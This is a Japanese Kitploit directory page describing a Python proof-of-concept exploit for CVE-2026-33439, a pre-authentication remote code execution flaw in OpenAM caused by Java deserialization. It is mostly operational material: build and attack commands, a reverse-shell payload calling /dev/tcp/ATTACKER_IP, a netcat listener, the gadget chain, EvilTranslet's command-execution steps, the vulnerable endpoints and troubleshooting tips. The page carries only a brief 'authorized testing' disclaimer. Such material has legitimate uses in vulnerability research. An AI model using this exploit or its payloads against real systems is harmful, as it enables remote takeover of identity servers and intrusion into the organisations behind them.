Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33439-PoC — Python PoCは、OpenAMにおける認証前RCEであるCVE-2026-33439を悪用するもので、jato.clientSessionパラメータのJavaデシリアライゼーションを利用し、インタラクティブモードとブラインドシェルモードを備えています。 | Kitploit
ツール/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubjonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Python PoCは、OpenAMにおける認証前RCEであるCVE-2026-33439を悪用するもので、jato.clientSessionパラメータのJavaデシリアライゼーションを利用し、インタラクティブモードとブラインドシェルモードを備えています。

リポジトリを見る
4時間48分前未レビュー

CVE-2026-33439 — OpenAM 認証前 RCE

OpenIdentityPlatform OpenAM <= 16.0.5 における jato.clientSession パラメータの安全でない Java デシリアライゼーションを悪用した認証前リモートコード実行 (CVSS 9.8)。

許可されたセキュリティテスト専用。

クイックスタート

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

要件

  • Python 3.10+ (標準ライブラリのみ、pip install 不要)
  • JDK 21 (build.py 用 — ターゲットサーバーの JVM バージョンと一致させる必要あり。JDK 25 は互換性のないシリアライズオブジェクトを生成する)

2つのモード

インタラクティブモード (デフォルト) — HTTP レスポンスに出力

EvilTranslet はリクエストから cmd HTTP ヘッダーを読み取り、それを実行し、stdout を HTTP レスポンスに直接書き込む。リスナーは不要。

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

ブラインドモード — リバースシェル / OOB 用

コマンドは EvilTranslet のバイトコードに埋め込まれる。出力は返されない。コールバックを捕捉するにはリスナー (nc など) を使用すること。

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

すべてのオプション

build.py

exploit.py

ペイロードの透明性

すべてのソースコードはリポジトリ内にあり、不透明な blob は存在しない。Java ソースは build.py 内に可読な文字列定数として埋め込まれている。ビルド後、出力を検証すること:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

ガジェットチェーン

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (インタラクティブモード)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — webapp クラスローダー経由で HTTP リクエスト/レスポンスを取得
  2. request.getHeader("cmd") — コマンドを読み取る
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — 実行
  4. response.reset() — 以前の JSP 出力をクリア
  5. stdout を text/plain としてレスポンスに書き込み、その後出力ストリームを閉じる

EvilTranslet (ブラインドモード)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forget

脆弱なエンドポイント

認証前にアクセス可能で、<jato:form> タグをレンダリングするすべての JATO ViewBean エンドポイント:

エンドポイント備考
/openam/ui/PWResetUserValidationパスワードリセット (最も信頼性が高い)
/openam/ui/PWResetQuestionパスワードリセットの秘密の質問
/openam/ui/Loginログインページ

トラブルシューティング

参考資料

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

ライセンス

MIT

ツールをダウンロード
フラグ説明
(フラグなし)インタラクティブペイロードをビルド (実行時に cmd ヘッダーを読み取る)
--command "CMD"CMD をバイトコードに埋め込んだブラインドペイロードをビルド
--jars DIRダウンロードせずにローカルの JARs ディレクトリを使用 (デフォルト: ./libs)
--download-onlyJARs のダウンロードのみ行い、コンパイルしない
フラグ説明
--url URLターゲット URL (必須) — 完全なエンドポイント、または --probe/--all を併用するベース URL
--shellインタラクティブ疑似シェル (インタラクティブモード)
--probeベース URL から脆弱なエンドポイントを自動検出
--allすべての JATO エンドポイントにペイロードを配信 (ブラインドモード)
--method GET|POSTHTTP 配信メソッド (デフォルト: GET)
--proxy URLHTTP プロキシ (例: Burp 用の http://127.0.0.1:8080)
--timeout SECSリクエストタイムアウト (デフォルト: 15)
--verify-tlsTLS 証明書検証を有効化
--debugリクエスト/レスポンスの詳細を表示
症状原因修正
コマンド出力ではなく HTML ページが返されるJSP がレスポンスを上書きインタラクティブペイロードで --shell を使用する、またはブラインドモードに切り替える
デシリアライゼーションがトリガーされないJDK バージョンの不一致JDK 21 で再ビルド: export JAVA_HOME=/path/to/jdk-21
TLS ハンドシェイクタイムアウトサーバーが SNI ホスト名を要求ターゲットを /etc/hosts に追加し、IP ではなくホスト名を使用する
javac が見つからないJDK がインストールされていないapt install openjdk-21-jdk